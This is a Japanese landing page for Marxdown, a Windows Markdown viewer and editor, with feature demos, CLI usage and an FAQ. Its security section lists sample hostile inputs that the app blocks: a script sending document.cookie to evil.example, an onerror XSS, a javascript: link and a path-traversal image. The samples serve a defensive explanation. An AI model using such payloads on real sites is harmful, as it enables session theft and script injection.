Markdown を読むために、VS Code を開きたくない。

Markdown を読むことを中心に設計した、Windows 向けのビューアー／エディター。marxdown README.md で開いて、必要になったらそのまま編集できます。

Windows 版をダウンロード GitHub を見る

v0.4.0 · Windows 10 / 11（x64）· 無料・オープンソース

architecture.md research.md

設計書: オフラインファーストの同期

Tip

決定: CRDT による複製を採用する。オフライン中の編集を失わない。

構成

flowchart LR A[エディター] --> B[(ローカルの複製)] B -- push --> C{{同期リレー}} C -- pull --> B C --> D[(Postgres)]

方式の比較

方式	オフライン編集	統合の品質	工数
後勝ち	一部	同時編集が失われる	1 週間
サーバー側 OT	不可	常時接続が必要	6 週間
CRDT の複製	可	テキストとリストは自動	4 週間

データモデル

export function apply(state: DocState, change: Change): DocState {
  if (state.seen.has(change.id)) return state; // 冪等
  return change.ops.reduce(applyOp, state);
}

展開

ローカルの複製をフラグ付きで配る
1 チームで push / pull を有効にする
同期時間と競合率を 2 週間計測する

調査: ローカルファーストのアーキテクチャ

Note

AI アシスタントが 12 本の資料をもとにまとめた要約です。

要点

書き込みを先にローカルへ保存すると、通信の状態に関係なく操作が即座に終わる
競合の解決は、データ型ごとに選ぶのが現実的である
同期サーバーは「中継」に徹すると、障害時の影響が小さい

比較

方式	遅延	オフライン	実装の難しさ
サーバー中心	120ms	不可	低
キャッシュ併用	40ms	読み取りのみ	中
ローカルファースト	5ms	可	高

推奨

まずは メモと TODO だけをローカルファーストにし、効果を計測してから範囲を広げる。

Preview UTF-8 LF 509 文字約 1 分 100%

こんなこと、ありませんか

AI が書いた設計書。リポジトリの README。議事録。Markdown を「ちょっと読みたい」場面は、1 日に何十回もあります。そのたびに、IDE が立ち上がるのを待っていませんか。

Marxdown は、開いて・読んで・必要なら少し直すためのアプリです。

VS Code との関係

VS Code は素晴らしい。Marxdown は役割が違う。

VS Code は強力な開発環境です。Marxdown は、開発環境までは要らない場面のためにあります。コードを書くのは VS Code、それについて書かれたものを読むのは Marxdown。そういう併用を想定しています。

VS Code

コードを書くための開発環境

ワークスペースと拡張機能を読み込んで始まる
Markdown はソースとして開き、プレビューは別に開く
書く・動かす・直すための道具がそろっている

Marxdown

Markdown を読むための場所

ファイル 1 つを、そのまま開く
開くと、読むための表示になる
直すときは、同じ Monaco エディターに切り替える

使う場面

読む。必要なら、そのまま直す。

01読む

AI から長い設計書が届いた

Marxdown で開けば、読むための表示になります。余白・行間・本文幅を整えた文字組みで、表・コード・数式・図もそのまま表示します。
- 表
- シンタックスハイライト
- 数式（KaTeX）
- 図（Mermaid）
- GitHub のアラート
- タスクリスト
- 脚注
02書く

直したいところを見つけた

キー 1 つで Split に切り替わり、その場で直せます。エディターは VS Code と同じ Monaco で、書いた内容は隣のプレビューにすぐ反映されます。
- Ctrl\Split
03整える

表の列がそろっていない

崩れた表の列幅は、Shift+Alt+F で揃います。太字・リンク・見出し・リストも、ショートカットで付け外しできます。
- CtrlB太字
- ShiftAltF表の列幅を揃える
04探す

フォルダーごと目を通したい

marxdown docs/ で、フォルダー内のファイル一覧と一緒に開きます。Ctrl+P で名前の一部から探せて、Ctrl+Shift+P のコマンドパレットからはすべての操作を実行できます。
- CtrlPファイルへ移動
- CtrlShiftPコマンドパレット

cache-strategy.md

1# API レスポンスのキャッシュ戦略

3検索 API の p95 を下げるため、レスポンスをキャッシュする方式を比較した。

5> [!TIP]

6> 結論: Stale-While-Revalidate を採用する。

8## 比較

10| 方式 | p95 | 実装コスト | 一貫性 |

11| --- | ---: | :---: | --- |

12| キャッシュなし | 240ms | 低 | 常に最新 |

13| TTL | 22ms | 低 | 最大 5 分古い |

14| Stale-While-Revalidate | **18ms** | 中 | 裏で更新される |

16## 実装例

18```ts

19export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {

20 const hit = cache.get(key);

21 if (hit && Date.now() - hit.at < STALE_MS) {

22 // 古くなりかけていれば、応答は返したまま裏で取り直す

23 if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);

24 return hit.value as T;

25 }

26 return refresh(key, load);

27}

28```

30ヒット率を $h$、ミス時の遅延を $t_m$ とすると、平均遅延はおおよそ $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ です。

32## 処理の流れ

34```mermaid

35flowchart LR

36 A[リクエスト] --> B{キャッシュ}

37 B -- 新鮮 --> C[そのまま返す]

38 B -- 古い --> D[返してから裏で更新]

39 B -- なし --> E[取得して保存]

40```

42## 次にやること

44- [x] 方式の比較

45- [ ] 失効のメトリクスを追加する[^1]

46- [ ] 負荷試験

48[^1]: ヒット率とあわせて、ダッシュボードに出す。

API レスポンスのキャッシュ戦略

検索 API の p95 を下げるため、レスポンスをキャッシュする方式を比較した。

Tip

結論: Stale-While-Revalidate を採用する。

比較

方式	p95	実装コスト	一貫性
キャッシュなし	240ms	低	常に最新
TTL	22ms	低	最大 5 分古い
Stale-While-Revalidate	18ms	中	裏で更新される

実装例

export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {
  const hit = cache.get(key);
  if (hit && Date.now() - hit.at < STALE_MS) {
    // 古くなりかけていれば、応答は返したまま裏で取り直す
    if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);
    return hit.value as T;
  }
  return refresh(key, load);
}

ヒット率を $h$ 、ミス時の遅延を $t_m$ とすると、平均遅延はおおよそ $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ です。

処理の流れ

flowchart LR A[リクエスト] --> B{キャッシュ} B -- 新鮮 --> C[そのまま返す] B -- 古い --> D[返してから裏で更新] B -- なし --> E[取得して保存]

次にやること

方式の比較
失効のメトリクスを追加する^[1]
負荷試験

ヒット率とあわせて、ダッシュボードに出す。 ↩︎

Preview UTF-8 LF 733 文字約 1 分 100%

一瞬で開く

開くたびに、待たされない。

フル IDE の初期化を待たずに、Markdown を開けます。一度起動するとタスクトレイで待機し、2 回目以降の marxdown は既存のウィンドウにタブで開きます。コマンドを打ったターミナルのプロンプトも、すぐに戻ります。

初回の起動（目標）: 600ms
2 回目以降（目標）: 120ms
待機中の CPU 使用率: ≈0%

起動時間は、release ビルドで起動の各段階の中央値を計測して確かめている設計上の目標値です。PC の性能によって変わります。

AI 時代の Markdown

AI が書いた Markdown を、読む場所に。

AI に設計、調査、議事録、レビューを頼むと、Markdown が返ってくることが増えました。書く時間より、読む時間のほうが長くなっています。Marxdown は、そうして増えていく Markdown を「読む」ための場所として使えます。

設計書
調査メモ
会議の要約
実装計画
コードレビュー
プロジェクトのドキュメント

出力を、そのまま読む

コマンドの出力をパイプで渡すと、表やコードが整った文書として表示します。
>llm "設計案を出して" | marxdown -
書き込まれたフォルダーを見る

エージェントがファイルを書き換えると、開いている文書も自動で再読み込みします。
>marxdown docs/
自分で書いていない文書も

文書に埋め込まれたスクリプトは実行しません。フォルダーの外のファイルは、許可しない限り読み込みません。

読みやすさ

何十分も読むから、文字組みにこだわる。

Markdown は、一瞬見るだけではなく、何分、何十分と読むことがあります。だから、本文とコードのフォント、文字サイズ、行間、本文幅、表の罫線を調整できるようにしています。変更はすぐにプレビューへ反映されます。

readability.md

読みやすさは、設定できる

長い文書を読むときに効くのは、1 行の長さと行間です。1 行が長すぎると次の行頭を追いにくくなり、行間が詰まりすぎると行を取り違えやすくなります。

既定の本文幅は 72ch で、全角ならおよそ 39 字にあたります。

項目	既定	範囲
文字サイズ	16px	8〜72
行間	1.75	1〜3
本文幅	72ch	20〜200

Preview UTF-8 LF 187 文字約 1 分 100%

{
  "preview.fontSize": 16,
  "preview.lineHeight": 1.75,
  "preview.maxWidth": 72,
  "preview.tableStyle": "lines"
}

自分好みに

50 の配色から、しっくりくる 1 枚を。

ライトとダークの切り替えに加えて、組み込みの配色が 50 種類。プレビューとエディターで別々に選べます。CSS ファイルを置けば、自分の配色も追加できます。

cache-strategy.md

1# API レスポンスのキャッシュ戦略

3検索 API の p95 を下げるため、レスポンスをキャッシュする方式を比較した。

5> [!TIP]

6> 結論: Stale-While-Revalidate を採用する。

8## 比較

10| 方式 | p95 | 実装コスト | 一貫性 |

11| --- | ---: | :---: | --- |

12| キャッシュなし | 240ms | 低 | 常に最新 |

13| TTL | 22ms | 低 | 最大 5 分古い |

14| Stale-While-Revalidate | **18ms** | 中 | 裏で更新される |

16## 実装例

18```ts

19export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {

20 const hit = cache.get(key);

21 if (hit && Date.now() - hit.at < STALE_MS) {

22 // 古くなりかけていれば、応答は返したまま裏で取り直す

23 if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);

24 return hit.value as T;

25 }

26 return refresh(key, load);

27}

28```

30ヒット率を $h$、ミス時の遅延を $t_m$ とすると、平均遅延はおおよそ $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ です。

32## 処理の流れ

34```mermaid

35flowchart LR

36 A[リクエスト] --> B{キャッシュ}

37 B -- 新鮮 --> C[そのまま返す]

38 B -- 古い --> D[返してから裏で更新]

39 B -- なし --> E[取得して保存]

40```

42## 次にやること

44- [x] 方式の比較

45- [ ] 失効のメトリクスを追加する[^1]

46- [ ] 負荷試験

48[^1]: ヒット率とあわせて、ダッシュボードに出す。

API レスポンスのキャッシュ戦略

検索 API の p95 を下げるため、レスポンスをキャッシュする方式を比較した。

Tip

結論: Stale-While-Revalidate を採用する。

比較

方式	p95	実装コスト	一貫性
キャッシュなし	240ms	低	常に最新
TTL	22ms	低	最大 5 分古い
Stale-While-Revalidate	18ms	中	裏で更新される

実装例

export async function cached<T>(key: string, load: () => Promise<T>): Promise<T> {
  const hit = cache.get(key);
  if (hit && Date.now() - hit.at < STALE_MS) {
    // 古くなりかけていれば、応答は返したまま裏で取り直す
    if (Date.now() - hit.at > FRESH_MS) void refresh(key, load);
    return hit.value as T;
  }
  return refresh(key, load);
}

ヒット率を $h$ 、ミス時の遅延を $t_m$ とすると、平均遅延はおおよそ $\bar{t} = h \cdot t_c + (1 - h) \cdot t_m$ です。

処理の流れ

flowchart LR A[リクエスト] --> B{キャッシュ} B -- 新鮮 --> C[そのまま返す] B -- 古い --> D[返してから裏で更新] B -- なし --> E[取得して保存]

次にやること

方式の比較
失効のメトリクスを追加する^[1]
負荷試験

ヒット率とあわせて、ダッシュボードに出す。 ↩︎

Split UTF-8 LF 733 文字約 1 分 100%

themes フォルダーに CSS を置くだけ

/* themes/my-theme.css */
--mx-color-bg: light-dark(#fdfcf8, #16161a);
--mx-color-fg: light-dark(#23211c, #e8e6e3);
--mx-color-accent: #d9480f;

ターミナルから

marxdown README.md

ワークスペースも、プロジェクトの設定も要らない。

いつものターミナルで打てば、すぐに読み始められます。cmd.exe / PowerShell / Git Bash のどこから実行しても、プロンプトはすぐに戻ります。

Windows PowerShell

# ファイルを開く marxdown README.md
# 複数のファイルをまとめて開く marxdown README.md CHANGELOG.md
# フォルダーを開く marxdown docs/
# 表示モードを指定して開く marxdown -m split notes.md
# 標準入力の内容を無題の文書として開く llm "設計案を出して" | marxdown -

安心して保存

編集していない箇所は、1 バイトも変わらない。

保存しても、手を入れていない行はそのままです。改行コード・BOM・末尾の改行も、開いたときのまま保ちます。ほかのアプリがファイルを書き換えたときは、自動で再読み込みします。

BOM 付き UTF-8 のまま
CRLF のまま
末尾の改行もそのまま

notes.md UTF-8 BOM CRLF CtrlS

BOM # メモ CRLF
CRLF
キャッシュの有効期限は 5 分です。 CRLF

変わったバイト: 0 バイト
ファイル全体: 65 バイト

知らないファイルも

自分で書いていない Markdown も、安心して開ける。

LLM が生成したファイルのように、自分で書いていない Markdown を開くことを前提に作っています。何重もの防御で、文書の中身がアプリやパソコンに手を出せないようにしています。

untrusted.md

<script>fetch("https://evil.example/?" + document.cookie)</script> CSP 埋め込まれたスクリプトは実行しない
<img src="x" onerror="alert(1)"> サニタイズ onerror などのイベント属性は取り除く
[続きを読む](javascript:alert(1)) リンクの許可リスト知らない種類のリンクは何もしない
![](../../Pictures/private.png) 読み込む範囲の検証フォルダーの外は、許可しない限り読み込まない

安全に表示

ほかにも

あると助かる機能も、ひととおり。

アウトライン

見出しの一覧から、読みたい場所へ移動できます。
CtrlShiftU
プレビュー内検索

表示している文書の中を検索できます。
CtrlF
Marp のスライド

marp: true を書いた文書は、スライドとして表示します。
HTML / PDF に書き出し

表示している文書を、そのまま HTML や PDF にできます。
自動で再読み込み

ほかのアプリがファイルを書き換えると、自動で再読み込みします。
ファイル操作

ファイル一覧から、新規作成・名前の変更・コピー・ごみ箱への移動ができます。
標準入力から開く

コマンドの出力を、そのまま無題の文書として開けます。
日本語と英語

画面の表示は日本語と英語に対応しています。既定では Windows の表示言語に合わせます。
自動更新

新しいバージョンが出るとアプリ内でお知らせし、ボタン 1 つで入れ替わります。
エクスプローラーから

.md のダブルクリックでも、フォルダーの右クリックメニューからも開けます。

はじめる

ダウンロードして、実行して、.md を開く。

ダウンロード

Releases から Marxdown_<バージョン>_x64-setup.exe をダウンロードします。
インストール

実行するだけです。管理者権限は不要です。最後の確認で「はい」を選ぶと、marxdown コマンドが使えるようになります。
.md を開く

.md をダブルクリックするか、ターミナルで marxdown README.md と入力します。

インストーラーには現在コード署名をしていないため、SmartScreen の警告が表示されることがあります。「詳細情報」→「実行」の順に選ぶと、インストールを続けられます。

動作環境: Windows 10 / 11（x64）。WebView2 ランタイムが必要です（Windows 11 には標準で入っています）。

インストールの詳しい手順

よくある質問

気になりそうなこと。

Marxdown はエディターですか？

はい、編集もできます。ただし、Markdown を読むことを中心に設計しています。開くと読むための表示になり、キー 1 つで Split や Edit に切り替えて、VS Code と同じ Monaco エディターで編集できます。

VS Code で読むのと、何が違いますか？

VS Code は優れた開発環境で、Markdown のプレビューも備えています。Marxdown は、ワークスペースや拡張機能を読み込むほどではない場面で、Markdown をすぐに開いて読むためのアプリです。両方を使い分けることを想定しています。

オフラインで使えますか？

はい。Mermaid の図や数式を含め、表示の処理はすべて手元で行います。インターネットに接続するのは、更新を確認するときと、文書の中にある https:// の画像を表示するときです。

Markdown がどこかへアップロードされることはありますか？

ありません。アカウント登録も、利用状況の送信（テレメトリ）もありません。更新の確認では GitHub の Releases に問い合わせますが、開いているファイルの情報は含みません。この確認は設定で止められます。

無料ですか？

はい。MIT ライセンスのオープンソースで、仕事でも無料で使えます。

対応している OS は？

Windows 10 / 11（x64）です。macOS と Linux の版は、現在ありません。

インストール時に SmartScreen の警告が出ます。

インストーラーに現在コード署名をしていないためです。「詳細情報」→「実行」の順に選ぶと続けられます。インストーラーは、公開しているソースコードから GitHub Actions でビルドしています。

まずは 1 つ、.md を開いてみる。

無料のオープンソースです。Windows 10 / 11 で、いますぐ試せます。

Windows 版をダウンロード GitHub で見る

v0.4.0 · Windows 10 / 11（x64）· 無料・オープンソース

cache	p95	hit
none	240ms	0%
ttl	22ms	91%
swr	18ms	94%

Markdown を読むために、VS Code を開きたくない。

VS Code

Marxdown

AI から長い設計書が届いた

直したいところを見つけた

表の列がそろっていない

フォルダーごと目を通したい

開くたびに、待たされない。

AI が書いた Markdown を、読む場所に。

出力を、そのまま読む

書き込まれたフォルダーを見る

自分で書いていない文書も

何十分も読むから、文字組みにこだわる。

ワークスペースも、プロジェクトの設定も要らない。

編集していない箇所は、1 バイトも変わらない。

アウトライン

プレビュー内検索

Marp のスライド

HTML / PDF に書き出し

自動で再読み込み

ファイル操作

標準入力から開く

日本語と英語

自動更新

エクスプローラーから

ダウンロード

インストール

.md を開く

まずは 1 つ、.md を開いてみる。